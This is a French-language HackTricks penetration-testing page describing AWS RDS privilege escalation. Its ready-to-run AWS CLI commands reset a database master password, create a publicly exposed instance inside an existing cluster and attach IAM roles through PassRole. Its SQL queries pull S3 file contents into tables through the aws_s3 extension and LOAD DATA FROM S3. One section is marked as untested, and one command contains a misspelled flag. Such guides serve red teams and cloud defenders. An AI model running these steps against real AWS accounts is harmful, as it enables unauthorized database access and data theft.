AWS - RDS Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

RDS - Service de base de données relationnelle

Pour plus d'informations sur RDS, consultez :

pageAWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Avec cette autorisation, un attaquant peut modifier le mot de passe de l'utilisateur principal et le login à l'intérieur de la base de données :

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Vous devrez être capable de contacter la base de données (elles sont généralement accessibles uniquement depuis les réseaux internes).

Impact potentiel : Trouver des informations sensibles à l'intérieur des bases de données.

rds-db:connect

Selon la documentation, un utilisateur ayant cette autorisation pourrait se connecter à l'instance de la base de données.

Abus des autorisations IAM du rôle RDS

Postgresql (Aurora)

Si en exécutant SELECT datname FROM pg_database; vous trouvez une base de données appelée rdsadmin, vous saurez que vous êtes à l'intérieur d'une base de données AWS postgresql.

Tout d'abord, vous pouvez vérifier si cette base de données a été utilisée pour accéder à tout autre service AWS. Vous pourriez vérifier cela en examinant les extensions installées :

SELECT * FROM pg_extension;

Si vous trouvez quelque chose comme aws_s3, vous pouvez supposer que cette base de données a un certain type d'accès sur S3 (il existe d'autres extensions telles que aws_ml et aws_lambda).

De plus, si vous avez les autorisations pour exécuter aws rds describe-db-clusters, vous pouvez voir si le cluster a un rôle IAM attaché dans le champ AssociatedRoles. Si c'est le cas, vous pouvez supposer que la base de données a été préparée pour accéder à d'autres services AWS. En fonction du nom du rôle (ou si vous pouvez obtenir les autorisations du rôle), vous pourriez deviner quels sont les accès supplémentaires dont dispose la base de données.

Maintenant, pour lire un fichier à l'intérieur d'un bucket, vous devez connaître le chemin complet. Vous pouvez le lire avec :

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Si vous aviez des identifiants AWS bruts, vous pourriez également les utiliser pour accéder aux données S3 avec :

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql n'a pas besoin de modifier une variable de groupe de paramètres pour pouvoir accéder à S3.

Mysql (Aurora)

Dans un mysql, si vous exécutez la requête SELECT User, Host FROM mysql.user; et qu'il y a un utilisateur appelé rdsadmin, vous pouvez supposer que vous êtes dans une base de données AWS RDS mysql.

Dans le mysql, exécutez show variables; et si les variables telles que aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role ont des valeurs, vous pouvez supposer que la base de données est prête à accéder aux données S3.

De plus, si vous avez les autorisations pour exécuter aws rds describe-db-clusters vous pouvez vérifier si le cluster a un rôle associé, ce qui signifie généralement un accès aux services AWS).

Maintenant, pour lire un fichier à l'intérieur d'un bucket, vous devez connaître le chemin complet. Vous pouvez le lire avec:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Un attaquant avec les autorisations rds:AddRoleToDBCluster et iam:PassRole peut ajouter un rôle spécifié à une instance RDS existante. Cela pourrait permettre à l'attaquant d'accéder à des données sensibles ou de modifier les données dans l'instance.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Impact potentiel : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS. Notez que certaines bases de données nécessitent des configurations supplémentaires telles que Mysql, qui doit spécifier le rôle ARN dans les groupes de paramètres également.

rds:CreateDBInstance

Rien qu'avec cette autorisation, un attaquant pourrait créer une nouvelle instance à l'intérieur d'un cluster qui existe déjà et a un rôle IAM attaché. Il ne pourra pas changer le mot de passe de l'utilisateur principal, mais il pourrait exposer la nouvelle instance de base de données à Internet :

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Test

Un attaquant avec les autorisations rds:CreateDBInstance et iam:PassRole peut créer une nouvelle instance RDS avec un rôle spécifié attaché. L'attaquant peut ensuite potentiellement accéder à des données sensibles ou modifier les données dans l'instance.

Certains prérequis du rôle/profil d'instance à attacher (de ici):

  • Le profil doit exister dans votre compte.

  • Le profil doit avoir un rôle IAM que Amazon EC2 a l'autorisation d'assumer.

  • Le nom du profil d'instance et le nom du rôle IAM associé doivent commencer par le préfixe AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Impact potentiel : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.

rds:AddRoleToDBInstance, iam:PassRole

Un attaquant avec les autorisations rds:AddRoleToDBInstance et iam:PassRole peut ajouter un rôle spécifié à une instance RDS existante. Cela pourrait permettre à l'attaquant d'accéder à des données sensibles ou de modifier les données dans l'instance.

L'instance de la base de données doit être en dehors d'un cluster pour cela.

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Impact potentiel: Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour